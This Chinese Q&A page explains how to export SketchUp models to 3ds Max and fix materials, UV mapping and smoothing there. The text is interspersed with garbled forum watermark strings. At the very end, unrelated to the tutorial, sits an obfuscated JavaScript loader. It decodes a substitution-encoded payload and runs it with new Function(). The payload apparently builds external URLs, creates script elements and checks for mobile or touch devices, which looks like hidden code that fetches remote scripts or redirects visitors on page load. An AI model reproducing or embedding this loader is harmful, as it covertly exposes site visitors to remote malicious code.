推荐回答(2个)
把下面的文字看完,里面的细节注意到了,,对后面的工作顺利开展有好处!
其实把Sketchup的模型导入3D还是有非常好的效果的,最后我还是在常老师面前捍卫了Sketchup的荣誉…… 就写一些小小的心得吧,高手勿笑。
首先最最最重要的,Sketchup的模型必须面是统一的,系统默认白色的是正面,蓝色的是反面,就必须把正面朝外反面朝里,要不然在3d里面反面是显示不出来的,如果都建好了模型再去翻面可是非常麻烦的,如果已经赋了材质可以在风格那个工具栏里点最后一个显示模型面的情况。
第二就是Sketchup,一定是6的专业版,如果你的是不用安装不用注册的版本话赶紧换一个吧,一般叫Google Sketchup6
Pro或者专业版,只有它才能导出3ds格式和dwg格式。
第三,在Sketchup中把材质都赋好,记得一点是不要用Sketchup默认的材质,要新建材质赋你有的jpg格式贴图,这样在3d里面才能继续调整贴图,Sketchup默认的贴图在3d里可是不认的哦!不用想做个白模然后进3d再赋,那只会让你求生不得求死不能!
第四,就是导出了,在Sketchup里面:文件,导出,3d模型,第一个下拉菜单选所有图层,然后中间的全部都不要,最后一个把单位改成毫米就可以了,注意一点的是如果用中文保存它可能会有一些字无法显示(类似马超的手机……)。
现在可以进3d了,我用的是8的英文版,7的中文版会死机……,file,import,找到刚才保存的3ds文件,会有两个对话框,第一个不动直接确定,第二个点否,现在导进来了,打灯光,打摄像机,调Vary选项。
最后就是困扰我很长时间的贴图,大家会发现导进来的模型贴图只有颜色没有花纹,比如贴的青砖只有灰色但是没有砖头的纹理,这就需要我们重新贴图。打开材质编辑器,就是那四个球,选一个空白的材质球然后点吸管工具,在模型上随便点一下,这个材质球就变成了破布头一样了……下面就是子材质,也就是我们在Sketchup中赋好的材质,不知道那个对哪个怎么办?先把模型选中然后在编辑菜单中选Poly
Select(中文网格选择),下面有几个选项选倒数第二个Polygon,然后在Select By Material
ID里面输入相应的材质ID,被选中的材质就会变成红色,这样就可以进行材质的调整了。
贴图啊什么的跟上课讲的一样就是漫反射,bitmap位图,然后找到刚才在Sketchup里面的贴图就行了,这时就会发现贴的乱七八糟……先用poly
select把要改的材质选中,然后编辑,UVW贴图,选box,然后改一下大小就行了。然后问题就来了,改下一个材质的时候就会发现改好的材质又他妈变回去了,我日,开Party啊!这个特别感谢一下常诚老师,昨天给我讲明白了这个问题。其实很简单,改好一个材质以后在UVWmapping上点右键,再点collaspe
all,然后会有一个报错不用理他点yes,这样就再改其他贴图就可以了。
最后要说一下的是玻璃材质,在Sketchup里面弄好在3d里面就不要动了,什么raytrace全用不上,玻璃是在ps里面调整的,有个透明度就可以了。
现在就可以渲了,效果还是很不错的。
SketchUP导入3DMAX技巧SketchUp中文官方论坛3 \' F/ s/ Q) ?) @
3DMAX导入技巧SketchUP可以将场景模型导出为3ds、dwg以及dxf的标准工业格式,因此为我们配合其他软件对场景进行进一步深化和完善提供了便利。比较符合以往习惯的是输入到3dsmax中进行渲染处理。
4
m L1 G2 q2 @7 b/ | 在输出场景之前,先认识一下SketchUP中记录模型文件的特性:
SketchUP对模型管理的重要特征是群组和组件,利用这个特性我们可以方便的对某一组特定的选择集进行移动、旋转、缩放以及编辑等操作。
: v%
Z& d' l-
lSketchUp,Artlantis,Piranesi,Cinema4D,Vue,V-Ray,Podium,QUEST3D,Moi3D,BIM
SketchUP中对于对象的基本描述是以线和面来定义的,而max对对象的基本操作单位是可编辑的网格物体(Editable
Mesh),虽然也可以对网格物体的点、线、面进行深层编辑,但相对于SketchUP来说直观性和易操作性显然比较难于掌握,并且深层的编辑会导致贴图坐标的变形。所以为提高效率,和避免一些不可测的因素,模型应当在SketchUP中尽量的完善,避免在3dsmax中进行深层操作。国内最好的SketchUp爱好者交流乐园!SketchUp最具专业的中文论坛!-
e: b6 }/ [+ A, R; c6 l( U/ W
SketchUP可以输出dwg、dxf以及3ds格式的3d模型文件,其中只有3ds格式可以记录材质信息,因此一般情况下用于渲染的都采用这种文件格式的输出。
SketchUp因设计而完美!SketchUp Pro Chinese Resellers!0 R7 g' K+ w# C0 W9 Y: F/
Y
SketchUP和3dsmax中对应的操作对象:当输出3ds文件时,整个场景中排除群组和组件,所有的线、面会组合成一个可编辑网格体,每一个群组和组件都会各自转化为一个网格物体,而群组和组件中的群组和组件将会被炸开,被合并到最表面一层的群组或组件成为一个网格物体。所以如果将整个场景成组的话,那么输出的3ds文件将只有一个网格物体。
1、 Singel Object
勾选此选项时,整个场景将合并成一个物体被输出,在SketchUP中建立的群组和组件将不能被单独进行操作,在场景中线面数很大的情况下有可能不能完成输出;(除非场景不需要做任何修改,或场景较为简单时,否则不推荐这种输出方式)
国内最好的SketchUp爱好者交流乐园!SketchUp最具专业的中文论坛!2 |* [( L$ h5 s3 i! p
2、
Objects By Geometry
此选项将以群组和组件为单位输出物体,SketchUP最表面一层的群组和组件被保留为单独的物体,可以在max中进行单独灵活的各种编辑,推荐使用。缺点是每一个群组和组件都会输出一个自身的复合材质,就是说如果场景中有100个物体,就会在max中产生100个复合材质,使人对材质的编辑无所适从。对于如何快速编辑材质会在后面说到。
SketchUp因设计而完美!SketchUp Pro Chinese Resellers!: f! M3 k6 W) G+ T& L. s1
?
3、 Output Texture Maps
如果不勾选,输出材质中将不包含贴图信息;贴图文件路径需要在max里添加,建议将所有贴图复制到max模型文件所在工作目录,这样就不会出现找不到贴图的错误信息(注:建议养成习惯,一般情况下,包括lightscape,三维渲染软件的贴图搜索路径第一个总是场景文件所在的目录,这样既不会出错,也节约了贴图搜索时间,对于场景在不同电脑间的转移也带来方便)
SketchUp中文官方论坛# ^6 d: W9 o2 [: G; A3 s* [
4、 Output 2-Sides
输出双面:一般情况下不需要,会额外增加模型量;但是在SketchUP建模阶段必须保证面法线正反的正确性,否则反面在max里无法显示,产生丢面现象。Materiar和Geometry分别以材质和物体产生双面。
h) m8 p" F, `3 C( R8 z( n k(
CSketchUp,Artlantis,Piranesi,Cinema4D,Vue,V-Ray,Podium,QUEST3D,Moi3D,BIM
5、 Output Standalong Edges 输出边线,对于max不必要。 + C2 n- H7 \2 x
6、 Use
“Color By Layer”Material
用层的颜色作为材质输出,是以层颜色进行管理的材质,需要在建模起始阶段就规划好的材质管理方式,物体(或面)将以所在的层的颜色为自身的材质。因为SketchUP里组件和层是参插的,在组件具有复合材质时好像不易管理。
7、 Generate Cameras
产生相机,原理上每一个页面会产生一个相机,但是实际应用中好像只有当前页面的相机视角能被保持,其他都会出错,所以还是到max里重新建立相机吧。
SketchUp,Artlantis,Piranesi,Cinema4D,Vue,V-Ray,Podium,QUEST3D,Moi3D,BIM2 l: q.
h( ?: U0 O. g$ O j
8、 Units 这是SketchUP
3.1以后才有的功能,你可以设置模型输出的单位,在正确单位建模的情况下,一般是不需要改变输出单位的,当然在max中所设置的系统单位也要相对应。
; [' t' X9 X' k8 O2 `( I9 OSketchUp因设计而完美!SketchUp Pro Chinese
Resellers!
材质管理打开3dsmax,导入SketchUP输出的3ds模型。(老房子的SketchUP模型在资源版有下)打开rendering-Material/Map
Browser查看当前场景中的材质,会发现场景中有几百个复合材质,它们分别被赋予Material#(*)表示(*是材质序列编号),如何编辑材质根本无法下手。
SketchUp,Artlantis,Piranesi,Cinema4D,Vue,V-Ray,Podium,QUEST3D,Moi3D,BIM, [0 }%
S2 n5 P% |
下载过那个老房子模型的朋友,如果细心一点一定会发现到在场景的边上有一组小方块组成的群组,可能一时不明白为什么要这样做,其实这就是材质编辑的关键所在。
因为SketchUP的每一个群组都会产生一个材质,而当这个群组只有一个材质时就产生了一个单一材质而不是复合材质。而这个单一材质在max中编辑时恰巧是能够和场景中所有复合材质中的单一材质关联的,因此只要编辑这些单一材质就能改变场景中所有复合材质中的相同材质。现在要做的是建立和材质栏中同样多的群组(不被关联的清理掉),然后分别对应的赋给他们。然后可以输出3ds模型了。SketchUp中文官方论坛0
U' }" J7 N% ~+ p) @2 r: F
在3dsmax里导入模型,再次查看场景中的材质,这时会发现又多了先前在SketchUP里建立的那些群组的材质,这些材质都是单一的,而且材质名称和SketchUP里面是相同的。把这些材质用关联方式导入材质编辑器进行编辑,而那些复合材质可以一概不予理会,就是这么简单了。SketchUp,Artlantis,Piranesi,Cinema4D,Vue,V-Ray,Podium,QUEST3D,Moi3D,BIM5
]9 N' e' h% _' H
曲面输出问题无数次的测试,最终只能确信SketchUP无法将曲面的平滑信息带到max中,并且更糟糕的是即使在max中用MeshSmooth也无法对SketchUP中导入的曲面进行平滑。虽然一直认为这是不可能的,却始终没有找出问题的症结所在。
/
T1 }& m! K& U: ESketchUp中文官方论坛
我相信很多人没有注意到这个问题,也有人注意到了却同样没找到答案。不过只要是问题,就一定能找到答案...
有一次在max里编辑多边形(以前未对Sketchup导入的模型做过深层编辑),在移动一个面时,面被移走了,而周边的节点、边线和面居然毫无变化。天!原来导过来的模型每个面都是单独存在的,拥有自己独立的边线和节点,节点和边线只是和相邻面的节点和边线重合而已,并不是共用的。每一个单元只是一个平面而已,所以也就无法使用平滑了。
2
v' [ f, f8 P0 PSketchUp中文官方论坛
终于找到了其中原因!把所有重合节点焊接在一起,现在就可以进行平滑组的操作了,假如觉得平滑程度还不够,就使用MeshSmooth...
平滑面的操作:解释一下平滑角度:这里的概念和SketchUP中是相同的,角度的大小设定了一个平滑分界的临界面,当两个面的夹角小于该临界角度时,这相邻的两个面即被平滑;当两个面的夹角大于该临界角度时,相邻的两个面不受平滑的影响。
可以将su模型导出为3ds,dwg等可以在max里打开的格式就可以了
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();